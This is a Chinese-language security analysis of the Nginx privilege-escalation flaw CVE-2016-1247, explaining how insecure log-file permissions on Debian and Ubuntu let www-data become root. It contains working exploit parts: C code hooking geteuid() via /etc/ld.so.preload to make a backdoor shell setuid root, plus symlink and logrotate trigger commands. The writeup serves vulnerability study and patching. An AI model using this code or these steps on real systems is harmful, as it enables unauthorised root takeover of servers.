Nginx权限提升漏洞(CVE-2016-1247 )分析
Author: xd0o1XD(知道创宇404实验室)
data:2016-11-17
0x00 漏洞概述
1.漏洞简介
11月15日,国外安全研究员Dawid Golunski公开了一个新的Nginx漏洞(CVE-2016-1247),能够影响基于Debian系列的发行版,Nginx作为目前主流的一个多用途服务器,因而其危害还是比较严重的,官方对此漏洞已经进行了修复。
2.漏洞影响
Nginx服务在创建log目录时使用了不安全的权限设置,可造成本地权限提升,恶意攻击者能够借此实现从nginx/web的用户权限www-data到root用户权限的提升。
3.影响版本
下述版本之前均存在此漏洞:
- Debian: Nginx1.6.2-5+deb8u3
- Ubuntu 16.04: Nginx1.10.0-0ubuntu0.16.04.3
- Ubuntu 14.04: Nginx1.4.6-1ubuntu3.6
- Ubuntu 16.10: Nginx1.10.1-0ubuntu1.1
0x01 漏洞复现
1.环境搭建
测试环境:Ubuntu 14.04: Nginx1.4.6-1ubuntu3
PoC详见如下链接,给出的nginxed-root.sh脚本在其中的第V部分: https://legalhackers.com/advisories/Nginx-Exploit-Deb-Root-PrivEsc-CVE-2016-1247.html
2.漏洞触发
恶意者可通过软链接任意文件来替换日志文件,从而实现提权以获取服务器的root权限,执行PoC后结果如下图:
图0 PoC执行后的效果
提示要等待,但我们可以通过如下命令进行触发:
/usr/sbin/logrotate -vf /etc/logrotate.d/nginx
提权后的结果如下:
图1 成功实现root提权
3.漏洞利用分析
一般来说,如果想要修改函数的功能,最直接的就是对其源码进行更改,但很多情况下我们是无法达成此目标的,这时就可以借助一些hook操作来改变程序的流程,从而实现对函数的修改。在Linux系统下,我们可以通过编译一个含相同函数定义的so文件并借助/etc/ld.so.preload文件来完成此操作,系统的loader代码中会检查是否存在/etc/ld.so.preload文件,如果存在那么就会加载其中列出的所有so文件,它能够实现与LD_PRELOAD环境变量相同的功能且限制更少,以此来调用我们定义的函数而非原函数。此方法适用于用户空间的so文件劫持,类似于Windows下的DLL劫持技术。更进一步,如果我们将此技巧与含有suid的文件结合起来,那么就可以很自然的实现提权操作了,所给的PoC就是利用的这个技巧。
关于hook操作,简单来看就是如下的一个执行流程:
图2 对函数的hook操作
在PoC利用中与此相关的C代码如下所示,如果将其编译成so文件并把路径写入到/etc/ld.so.preload文件的话,那么可以实现对geteuid()函数的hook,在hook调用中就能执行我们想要的恶意操作。
#define _GNU_SOURCE
#include <stdio.h>
#include <sys/stat.h>
#include <unistd.h>
#include <dlfcn.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
/*hook原geteuid()函数*/
uid_t geteuid(void) {
//定义函数指针变量
static uid_t (*old_geteuid)();
//返回原geteuid()函数的指针
old_geteuid = dlsym(RTLD_NEXT, "geteuid");
//在调用原geteuid()函数的同时执行想要的恶意操作
if ( old_geteuid() == 0 ) {
chown("$BACKDOORPATH", 0, 0);
chmod("$BACKDOORPATH", 04777);
unlink("/etc/ld.so.preload");
}
return old_geteuid();
}
我们可以将上述代码编译后来做个简单的测试,结果如下图,观察nginxrootsh文件前后属性的变化以及/etc/ld.so.preload文件存在与否可以判断我们的恶意操作是否执行了,很显然hook是成功的,和PoC相同这里也是通过sudo来触发hook调用。
图3 测试hook代码
接下来我们考虑下如何将内容写进/etc/ld.so.preload文件,也就是本次漏洞的所在,Nginx在配置log文件时采用的不安全权限设置使得我们能很容易的实现此目的,从而实现www-data到root的权限提升。为了看的更清楚,我们首先将目录/var/log/nginx/下的文件全部删除,再重启下nginx服务,最后执行如下两条命令:
$ curl http://localhost/ >/dev/null 2>/dev/null
$ /usr/sbin/logrotate -vf /etc/logrotate.d/nginx
此时得到的结果如下图所示:
图4 log文件的属性
可以看到error.log文件的属性为:
-rw-r--r-- 1 www-data root 0 Nov 18 14:49 error.log
将其软链接到/etc/ld.so.preload文件就可以了,这里为了简单测试,我们将其软链接到/etc/xxxxxxxxxx,同样需要上述那两条触发命令。从上图中我们看到了成功结果,此时www-data用户是可以对/etc/xxxxxxxxxx文件进行写操作的。
至此,我们将这些点结合起来就可以实现对此漏洞的利用了。
0x02 修复方案
Nginx官方已经修复,用户应尽快更新至最新版本。
0x03 参考
- https://www.seebug.org/vuldb/ssvid-92538
- https://legalhackers.com/advisories/Nginx-Exploit-Deb-Root-PrivEsc-CVE-2016-1247.html
- https://www.debian.org/security/2016/dsa-3701
- https://www.ubuntu.com/usn/usn-3114-1/
- https://minipli.wordpress.com/2009/07/17/ld_preload-vs-etcld-so-preload/
- http://fluxius.handgrep.se/2011/10/31/the-magic-of-ld_preload-for-userland-rootkits/
- JavaScript 教程
- JavaScript 编辑工具
- JavaScript 与HTML
- JavaScript 与Java
- JavaScript 数据结构
- JavaScript 基本数据类型
- JavaScript 特殊数据类型
- JavaScript 运算符
- JavaScript typeof 运算符
- JavaScript 表达式
- JavaScript 类型转换
- JavaScript 基本语法
- JavaScript 注释
- Javascript 基本处理流程
- Javascript 选择结构
- Javascript if 语句
- Javascript if 语句的嵌套
- Javascript switch 语句
- Javascript 循环结构
- Javascript 循环结构实例
- Javascript 跳转语句
- Javascript 控制语句总结
- Javascript 函数介绍
- Javascript 函数的定义
- Javascript 函数调用
- Javascript 几种特殊的函数
- JavaScript 内置函数简介
- Javascript eval() 函数
- Javascript isFinite() 函数
- Javascript isNaN() 函数
- parseInt() 与 parseFloat()
- escape() 与 unescape()
- Javascript 字符串介绍
- Javascript length属性
- javascript 字符串函数
- Javascript 日期对象简介
- Javascript 日期对象用途
- Date 对象属性和方法
- Javascript 数组是什么
- Javascript 创建数组
- Javascript 数组赋值与取值
- Javascript 数组属性和方法